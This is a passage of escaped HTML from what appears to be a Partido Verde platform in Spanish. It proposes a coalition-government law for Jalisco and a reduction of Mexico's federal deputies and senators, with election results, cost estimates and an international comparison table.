Espino<\/a><\/p>\n<\/td>\n<td>\n<p>2,732<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.1\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Democracia_Social\">Democracia Social<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Samuel_Mel%C3%A9ndrez_Lu%C3%A9vano&amp;action=edit&amp;redlink=1\">Samuel Mel\u00e9ndrezLu\u00e9vano<\/a><\/p>\n<\/td>\n<td>\n<p>10,067<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.5\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>No registrados<\/p>\n<\/td>\n<td>\n<p>276<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.01\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>Nulos<\/p>\n<\/td>\n<td>\n<p>34,736<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.61\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"4\">\n<p><strong>Total<\/strong><\/p>\n<\/td>\n<td>\n<p>2,161,879<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>100.00\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>Esto refleja que el ejercicio del Gobierno en Jalisco, ha carecido de una mayor\u00eda del 50% de los jaliscienses que han ejercido su derecho al sufragio, lo que nos invita a una reflexi\u00f3n para consolidar un estado basado en la gobernabilidad democr\u00e1tica y la representaci\u00f3n autentica.<\/p>\n<p>Ello ha impactado significativamente sobre la fuerza del Poder Ejecutivo Estatal y su interacci\u00f3n e interdependencia con los dem\u00e1s poderes p\u00fablicos y \u00f3rdenes de gobierno:<\/p>\n<ol>\n<li>Los tres Gobernadores Constitucionales de Jalisco m\u00e1s recientes, han sido electos a pesar de que la mayor\u00eda ciudadana no vot\u00f3 por ellos, con el rechazo social que ello supone,<\/li>\n<\/ol>\n<p>Lo descrito en los p\u00e1rrafos que anteceden demuestra que la democracia mexicana debe dar un paso m\u00e1s hacia su consolidaci\u00f3n, pues \u201c<em>en una democracia consolidada se cuenta con un buen n\u00famero de recursos institucionales para prevenir y, en su caso, enfrentar los problemas de gobernabilidad.<\/em>\u201d<a href=\"#_ftn1\" name=\"_ftnref1\"><sup>[1]<\/sup><\/a><\/p>\n<p>Una de las modalidades m\u00e1s viables consideradas para la coordinaci\u00f3n permanente entre el Ejecutivo Estatal\u00a0 y el Congreso de Jalisco, es un gobierno de coalici\u00f3n, donde se trazan y generan las reglas para el seguimiento de un gobierno legitimado por la sociedad.<\/p>\n<p>Parte de las caracter\u00edsticas de los gobiernos de coalici\u00f3n es que se cumpla con la meta com\u00fan o un conjunto de metas. Para ello, un gobierno de coalici\u00f3n requiere de:<\/p>\n<ul>\n<li>Comunicaci\u00f3n entre gobernantes y gobernados;<\/li>\n<li>Establecer con esquemas jur\u00eddicos los protocolos de comunicaci\u00f3n de las pol\u00edticas p\u00fablicas;<\/li>\n<li>Tener un dise\u00f1o o protocolos pactados para el seguimiento de las pol\u00edticas p\u00fablicas;<\/li>\n<li>Establecimiento de \u00f3rganos plurales de coordinaci\u00f3n para las acciones gubernamentales;<\/li>\n<li>Especificar la acci\u00f3n entre el gobierno y los grupos parlamentarios que lo apoyan, y<\/li>\n<li>Compatibilidad entre el impulso de la acci\u00f3n gubernamental y la identidad partidista de los miembros de la coalici\u00f3n.<\/li>\n<\/ul>\n<p>Es de destacar que la implementaci\u00f3n de un gobierno de coalici\u00f3n en el Estado de Jalisco podr\u00eda generar los siguientes beneficios:<\/p>\n<ul>\n<li>Doble legitimidad del Gobierno, al existir una configuraci\u00f3n institucional entre Poder Ejecutivo y Poder Legislativo, de tal suerte que la legitimidad ciudadana plasmada en las urnas se traduce en una legitimidad pol\u00edtica entre ambos poderes;<\/li>\n<li>Apoyo de los grupos parlamentarios y expresiones pol\u00edticas representados en el Poder Legislativo hacia el Poder Ejecutivo, generando mayores condiciones de gobernabilidad;<\/li>\n<li>Mayor visibilidad y reconocimiento del gabinete estatal, generando mayores consensos y avances en las pol\u00edticas p\u00fablicas, y<\/li>\n<li>Participaci\u00f3n del Legislativo en el nombramiento y cese de los miembros del gabinete, provocando mayor confianza en las instituciones de Jalisco. En resumen, un gobierno de coalici\u00f3n genera un canal de interacci\u00f3n entre el Ejecutivo Estatal y el Congreso de Jalisco, para el bien com\u00fan y beneficio social, al contar con una mayor gobernabilidad.<\/li>\n<\/ul>\n<p>Como ejemplo cabe mencionar que el sistema jur\u00eddico mexicano vigente contempla la posibilidad de que el Presidente de la Rep\u00fablica opte por un gobierno de coalici\u00f3n, en los t\u00e9rminos siguientes:<\/p>\n<p><em>Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos.<\/em><\/p>\n<p><em>\u201cArt\u00edculo 89. Las facultades y obligaciones del Presidente, son las siguientes: <\/em><\/p>\n<p><em>\u2026<\/em><\/p>\n<p><em>XVII. En cualquier momento, optar por un gobierno de coalici\u00f3n con uno o varios de los partidos pol\u00edticos representados en el Congreso de la Uni\u00f3n. El gobierno de coalici\u00f3n se regular\u00e1 por el convenio y el programa respectivos, los cuales deber\u00e1n ser aprobados por mayor\u00eda de los miembros presentes de la C\u00e1mara de Senadores. El convenio establecer\u00e1 las causas de la disoluci\u00f3n del gobierno de coalici\u00f3n\u201d.<\/em><\/p>\n<p>En conclusi\u00f3n, estamos ciertos que en Jaliscodebemos armonizar, conforme a los preceptos de la constituci\u00f3n pol\u00edtica de los estados unidos mexicanos para generar un sistema de gobierno de coalici\u00f3n en plena concordancia con la pluralidad pol\u00edtica, las necesidades pol\u00edticas y sociales en la entidad y las demandas poblacionales de los jaliscienses.<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS: <\/strong><\/p>\n<ul>\n<li>Presentar ante el Congreso del Estado, una Iniciativa que crea la Ley Estatal de Gobierno de Coalici\u00f3n, as\u00ed como la Iniciativa de\u00a0 reformas a la Ley Org\u00e1nica del Poder Ejecutivo del Estado de Jalisco, para fomentar una correlaci\u00f3n y co-gobierno entre los poderes ejecutivo y legislativo cuando las expresiones pol\u00edticas representadas tengan a bien integrarlo.<\/li>\n<li>Que el Gobernador del Estado en cualquier momento pueda optar por un Gobierno de Coalici\u00f3n, cuyo fin principal ser\u00e1 el reforzar las instituciones, garantizar mayor\u00edas en las decisiones de gobierno, dar\u00a0 cumplimiento al Programa de Gobierno de Coalici\u00f3n, y promover la gobernabilidad democr\u00e1tica de nuestra entidad federativa, a trav\u00e9s de la cooperaci\u00f3n pol\u00edtica entre las expresiones pol\u00edticas<\/li>\n<li>Que el Gobierno de Coalici\u00f3n se regule por un Convenio, un Programa de Gobierno, un Acuerdo de Distribuci\u00f3n, Titularidad e integraci\u00f3n de las Dependencias de la Administraci\u00f3n P\u00fablica Estatal,\u00a0 el cual ser\u00e1 suscrito por las expresiones pol\u00edticas participantes<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p><strong>TITULO:<\/strong><strong> MENOS DIPUTADOS, M\u00c1S PRESUPUESTO PARA TI <\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Hacer m\u00e1s eficiente la labor pol\u00edtica y legislativa, mejorar la representatividad ciudadana y generar ahorros significativos de recursos p\u00fablicos, a partir de un replanteamiento del modelo Constitucional para la elecci\u00f3n e integraci\u00f3n del Congreso de la Uni\u00f3n.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Se atender\u00e1 el reclamo ciudadano de reducir la integraci\u00f3n y en consecuencia, los costos del Congreso de la Uni\u00f3n.<\/p>\n<p>Para ello se propone una Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reducir el n\u00famero de legisladores de la C\u00e1mara de Diputados pasando de 500 a 300 diputados y con ello disminuir en un 40% sus integrantes y la disminuci\u00f3n de los legisladores del Senado de la Rep\u00fablica, pasando de 128 a 96 senadores, reduciendo un 25% de sus integrantes.<\/p>\n<p>La C\u00e1mara de Diputados se integrar\u00e1 por 200 diputados por el Principio de Mayor\u00eda Relativa y 100 diputados por el Principio de Representaci\u00f3n Proporcional.<\/p>\n<p>La C\u00e1mara de Senadores, se integrar\u00e1 por 96 senadores, de los cuales, en cada entidad federativa, dos ser\u00e1n elegidos seg\u00fan el principio de votaci\u00f3n mayoritaria relativa. Para estos efectos, los partidos pol\u00edticos deber\u00e1n registrar una lista con dos f\u00f3rmulas de candidatos por entidad.<\/p>\n<p>Los 32 senadores restantes ser\u00e1n elegidos seg\u00fan el principio de representaci\u00f3n proporcional, mediante el sistema de listas votadas en una sola circunscripci\u00f3n electoral nacional.<\/p>\n<p>Con esta propuesta, se mejorar\u00e1 la eficiencia del Congreso de la Uni\u00f3n, toda vez que los acuerdos entre las diferentes fuerzas pol\u00edticas representadas en \u00e9l podr\u00e1n ser asumidos con mayor facilidad.<\/p>\n<p>Ahorros proporcionales a la propuesta de reducci\u00f3n para el presupuestos de las C\u00e1maras que integran el Congreso de la Uni\u00f3n (40% en la C\u00e1mara de Diputados, y 25% en el Senado de la Rep\u00fablica, derivados de la reducci\u00f3n de sus integrantes en dichas proporciones), el costo anual del Poder Legislativo Federal pasar\u00eda de $12,171,404,772 a $7,984,138,751, es decir, un 34.4% menos que el costo de este a\u00f1o, equivalente a $4,187,266,021.<\/p>\n<p>Los ahorros por legislatura podr\u00edan ser utilizados para cubrir las asignaciones hechas en el PEF 2017 para la Educaci\u00f3n, Medio Ambiente y Salud.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA<\/strong><\/p>\n<p>Desde hace tiempo se ha planteado en el \u00e1nimo social la exigencia de reducir la cantidad de diputados y senadores que integran el Poder Legislativo Federal, no s\u00f3lo como medida para el ahorro de recursos p\u00fablicos sino tambi\u00e9n para hacer m\u00e1s eficiente la labor pol\u00edtica y legislativa.<\/p>\n<p>Si bien la eficiencia de un parlamento no necesariamente depende del n\u00famero de sus integrantes, es innegable que la clase pol\u00edtica mexicana adolece una crisis de desconfianza ciudadana, toda vez que, de conformidad con la Encuesta Telef\u00f3nica sobre Confianza en las Instituciones, emprendida en 2014 por el Centro de Estudios Sociales y de Opini\u00f3n P\u00fablica, los legisladores y los partidos pol\u00edticos registran el menor \u00edndice de confianza<a href=\"#_ftn2\" name=\"_ftnref2\"><sup>[2]<\/sup><\/a>. Dicho panorama es confirmado por la encuesta nacional en viviendas \u201cM\u00e9xico: confianza en instituciones 2015\u201d, realizada por Consulta Mitofsky, en la cual los partidos pol\u00edticos y los legisladores ocuparon los lugares m\u00e1s bajos de confianza<a href=\"#_ftn3\" name=\"_ftnref3\"><sup>[3]<\/sup><\/a>.<\/p>\n<p>Se debe aprovechar la coyuntura econ\u00f3mica que atraviesa nuestro pa\u00eds, para dar un paso m\u00e1s en la consolidaci\u00f3n de la democracia en nuestro pa\u00eds, haciendo de la C\u00e1mara de Diputados, un \u00f3rgano m\u00e1s eficiente y ponerlo al servicio de los mexicanos, mediante una estructura austera pero suficiente para el digno desempe\u00f1o de sus actividades legislativas y de control pol\u00edtico, a la altura de cualquier parlamento de primer mundo.<\/p>\n<p>La relevancia de la C\u00e1mara de Diputados y el Senado de la Republica radica en su papel de representaci\u00f3n popular, pues sus integrantes son electos por la ciudadan\u00eda para llevar su voz al Poder Legislativo Federal.<\/p>\n<p>En tal sentido, cabe resaltar la integraci\u00f3n de ambas C\u00e1maras Legislativas y su representatividad ciudadana, a la luz de una poblaci\u00f3n de 119.53 millones de habitantes, de conformidad con la Encuesta Intercensal 2015, realizada por el Instituto Nacional de Estad\u00edstica y Geograf\u00eda<a href=\"#_ftn4\" name=\"_ftnref4\"><sup>[4]<\/sup><\/a>. Si se toma en consideraci\u00f3n que la C\u00e1mara de Diputados se encuentra integrada por 500 legisladores y el Senado de la Rep\u00fablica cuenta con 128 Senadores, es posible inferir que cada legislador representa a 239 mil 06 mil mexicanos.<\/p>\n<p>Comparando a los integrantes del Congreso de la Uni\u00f3n con los parlamentos de otros pa\u00edses, Estados Unidos, Brasil e India cuentan con legisladores que representan a un mayor n\u00famero de habitantes, mientras que en Francia, Espa\u00f1a, Alemania y Sud\u00e1frica sus parlamentarios representan a una menor poblaci\u00f3n, tal como se aprecia en la siguiente tabla:<\/p>\n<table width=\"633\">\n<tbody>\n<tr>\n<td width=\"92\">\n<p><strong>Pa\u00eds<\/strong><\/p>\n<\/td>\n<td width=\"145\">\n<p><strong>Pa\u00eds y C\u00e1mara<\/strong><\/p>\n<\/td>\n<td width=\"112\">\n<p><strong>N\u00famero de legisladores<\/strong><\/p>\n<\/td>\n<td width=\"113\">\n<p><strong>Poblaci\u00f3n nacional<\/strong><\/p>\n<\/td>\n<td width=\"170\">\n<p><strong>Proporci\u00f3n (miles de habitantes por legislador)<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>INDIA<\/p>\n<\/td>\n<td width=\"145\">\n<p>C\u00e1mara del Pueblo (C\u00e1mara Baja)<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Consejo de los Estados (C\u00e1mara Alta)<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>552<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>250<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>1, 293, 057,000 hab. (2016)<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>2,342.49<\/p>\n<p>\u00a0<\/p>\n<p>5,172.23<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>USA<\/p>\n<\/td>\n<td width=\"145\">\n<p>C\u00e1mara de Representantes<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>435<\/p>\n<p>\u00a0<\/p>\n<p>100<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>324, 289,210 hab. (2016)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>745.49<\/p>\n<p>\u00a0<\/p>\n<p>3,242.89<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>BRASIL<\/p>\n<\/td>\n<td width=\"145\">\n<p>\u00a0<\/p>\n<p>C\u00e1mara de Diputados<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado Federal<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>513<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>81<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>204, 450,649 hab. (2014)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>398.54<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>2,524.08<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>M\u00c9XICO<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"145\">\n<p>C\u00e1mara de Diputados<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado de la Rep\u00fablica<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>500<\/p>\n<p>\u00a0<\/p>\n<p>128<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>119, 530,753 hab. (2015)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>239.06<\/p>\n<p>\u00a0<\/p>\n<p>933.83<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>ARGENTINA<\/p>\n<\/td>\n<td width=\"145\">\n<p>C\u00e1mara de Diputados de la Naci\u00f3n<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado de la Naci\u00f3n<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>257<\/p>\n<p>\u00a0<\/p>\n<p>72<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>43, 590,368 hab. (2016)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>169.61<\/p>\n<p>\u00a0<\/p>\n<p>605.42<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>AUSTRALIA<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"145\">\n<p>\u00a0<\/p>\n<p>C\u00e1mara de Representantes<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>150<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>76<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>23, 613,193 hab. (2015)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>157.42<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>310.70<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>SUD\u00c1FRICA<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"145\">\n<p>Asamblea Nacional (C\u00e1mara Baja)<\/p>\n<p>\u00a0<\/p>\n<p>Consejo Nacional de las Provincias (C\u00e1mara Alta)<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>400<\/p>\n<p>\u00a0<\/p>\n<p>90<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>54, 956,900 hab. (2015)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>137.39<\/p>\n<p>\u00a0<\/p>\n<p>610.63<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>ALEMANIA<\/p>\n<\/td>\n<td width=\"145\">\n<p>\u00a0<\/p>\n<p>Bundestag (C\u00e1mara Baja)<\/p>\n<p>\u00a0<\/p>\n<p>Bundesrat C\u00e1mara Alta)<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>630<\/p>\n<p>\u00a0<\/p>\n<p>69<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>82, 200,000 hab. (2015)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>130.48<\/p>\n<p>\u00a0<\/p>\n<p>1,191.30<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>ESPA\u00d1A<\/p>\n<\/td>\n<td width=\"145\">\n<p>Congreso de los Diputados<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>350<\/p>\n<p>\u00a0<\/p>\n<p>266<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>46, 468,102<\/p>\n<p>hab. (2016)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>132.77<\/p>\n<p>\u00a0<\/p>\n<p>174.77<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>FRANCIA<\/p>\n<\/td>\n<td width=\"145\">\n<p>\u00a0<\/p>\n<p>Asamblea Nacional<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>Senado<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>266<\/p>\n<p>577<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>66, 991,000 hab.<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>116.10<\/p>\n<p>\u00a0<\/p>\n<p>192.50<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"92\">\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>CHINA<\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"145\">\n<p>\u00a0<\/p>\n<p>Asamblea Popular Nacional (unicamaral)<\/p>\n<\/td>\n<td width=\"112\">\n<p>\u00a0<\/p>\n<p>2,987<\/p>\n<\/td>\n<td width=\"113\">\n<p>\u00a0<\/p>\n<p>1, 369, 811,000 hab. (2015)<\/p>\n<\/td>\n<td width=\"170\">\n<p>\u00a0<\/p>\n<p>458.59<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Fuente: Elaboraci\u00f3n propia con informaci\u00f3n de los sitios web de los congresos nacionales de cada pa\u00eds.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>No se debe ignorar el hecho de que las nuevas tecnolog\u00edas de la informaci\u00f3n han cambiado la manera en que la poblaci\u00f3n interact\u00faa con sus representantes populares, de tal suerte que el di\u00e1logo entre legisladores y ciudadanos no se encuentra determinado por la cantidad de diputados y senadores, sino por la eficiencia de medios de comunicaci\u00f3n como las redes sociales.<\/p>\n<p>En resumen, est\u00e1 claro que los ciudadanos no se sienten representados por sus diputados y senadores, de tal suerte que se deben realizar las propuestas legislativas necesarias, a fin de reducir el n\u00famero de legisladores federales, mitigando en la misma proporci\u00f3n el costo para los mexicanos, adem\u00e1s de mejorar el funcionamiento del Poder Legislativo Federal.<\/p>\n<p>\u00a0<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reducir el n\u00famero de legisladores a partir del proceso electoral 2018, replanteando el modelo constitucional para la integraci\u00f3n del Congreso de la Uni\u00f3n, con la finalidad de:<\/li>\n<\/ul>\n<ol>\n<li>Reducir su costo operativo, as\u00ed como los inherentes a su elecci\u00f3n;<\/li>\n<li>Incrementar la eficiencia de sus trabajos, y<\/li>\n<li>Mejorar la representatividad de la ciudadan\u00eda.<\/li>\n<\/ol>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reducir\u00eda la integraci\u00f3n de la C\u00e1mara de Diputados, pasando de 500 a 300 legisladores, as\u00ed como el Senado de la Rep\u00fablica, pasando de 128 a 96 senadores, de esta forma, quedar\u00eda integrada de la siguiente manera:<\/li>\n<\/ul>\n<p><strong>INTEGRACI\u00d3N DE LA C\u00c1MARA DE DIPUTADOS <\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"150\">\n<p><strong>C\u00c1MARA<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p><strong>INTEGRACI\u00d3N ACTUAL<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p><strong>PROPUESTA DE INTEGRACI\u00d3N<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p><strong>PORCENTAJE DE REDUCCI\u00d3N<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"150\">\n<p><strong>C\u00e1mara de Diputados<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p>500 Diputados<\/p>\n<\/td>\n<td width=\"150\">\n<p><strong>300 Diputados<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p>40%<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"150\">\n<p><strong>Senado de la Republica<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p>128 Senadores<\/p>\n<\/td>\n<td width=\"150\">\n<p><strong>96 Senadores<\/strong><\/p>\n<\/td>\n<td width=\"150\">\n<p>25%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<ul>\n<li>Redistribuir la integraci\u00f3n del Senado de la Republica y la C\u00e1mara de Diputados conforme a los principios de mayor\u00eda relativa y por circunscripciones electorales, quedando de la siguiente manera:<\/li>\n<\/ul>\n<table width=\"622\">\n<tbody>\n<tr>\n<td width=\"145\">\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>TOTAL<\/strong><\/p>\n<\/td>\n<td width=\"160\">\n<p><strong>MAYOR\u00cdA RELATIVA (DISTRITOS ELECTORALES)<\/strong><\/p>\n<\/td>\n<td width=\"222\">\n<p><strong>REPRESENTACI\u00d3N (CIRCUNSCRIPCIONES ELECTORALES)<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"145\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>INTEGRACI\u00d3N<\/strong><\/p>\n<p><strong>ACTUAL<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p>\u00a0<\/p>\n<p>500 diputados<\/p>\n<\/td>\n<td width=\"160\">\n<p>\u00a0<\/p>\n<p>300 diputados<\/p>\n<p>(60% del total)<\/p>\n<\/td>\n<td width=\"222\">\n<p>200 diputados <strong>de representaci\u00f3n proporcional<\/strong><\/p>\n<p>(40% del total)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"145\">\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>PROPUESTA DE<\/strong><\/p>\n<p><strong>INTEGRACI\u00d3N<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p>\u00a0<\/p>\n<p>300 diputados<\/p>\n<\/td>\n<td width=\"160\">\n<p>\u00a0<\/p>\n<p>200 diputados<\/p>\n<p>(60% del total)<\/p>\n<\/td>\n<td width=\"222\">\n<p>100 diputados <strong>de representaci\u00f3n democr\u00e1tica<\/strong><\/p>\n<p>(40% del total)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>\u00a0<\/strong><\/p>\n<p>Para el caso de la C\u00e1mara de Senadores, el art\u00edculo 56 constitucional establece su integraci\u00f3n actual en 128 legisladores, de los cuales 64 son electos por el principio de \u201cmayor\u00eda relativa\u201d (dos en cada entidad federativa), 32 son asignados a la primera minor\u00eda (uno en cada entidad federativa) y 32 son electos por el principio de \u201crepresentaci\u00f3n proporcional\u201d, a partir de una lista nacional \u00fanica. En este sentido, queda claro que la composici\u00f3n del Senado de la Rep\u00fablica busca una representaci\u00f3n equitativa del federalismo mexicano, al contemplar tres senadores por cada entidad federativa, adem\u00e1s de garantizar la pluralidad en su integraci\u00f3n, al distribuir 32 senadores entre los diferentes partidos pol\u00edticos, con base en la votaci\u00f3n obtenida en la elecci\u00f3n correspondiente.<\/p>\n<p>A la luz de lo anterior, y bajo la premisa de buscar una reducci\u00f3n en los costos del Poder Legislativo Federal y mejorar su eficiencia, sin que ello suponga sacrificar la representatividad en su integraci\u00f3n, el Partido Verde propone eliminar la asignaci\u00f3n de senadores a la primera minor\u00eda de cada entidad federativa, pues se estima que de esta forma se garantizar\u00e1, por un lado, el respeto de la voluntad ciudadana expresada en las preferencias por los candidatos electos por el principio de \u201cmayor\u00eda relativa\u201d, y por otro lado, la pluralidad en la integraci\u00f3n del Senado de la Rep\u00fablica mediante los senadores electos por el sistema de lista nacional, lo cual ha 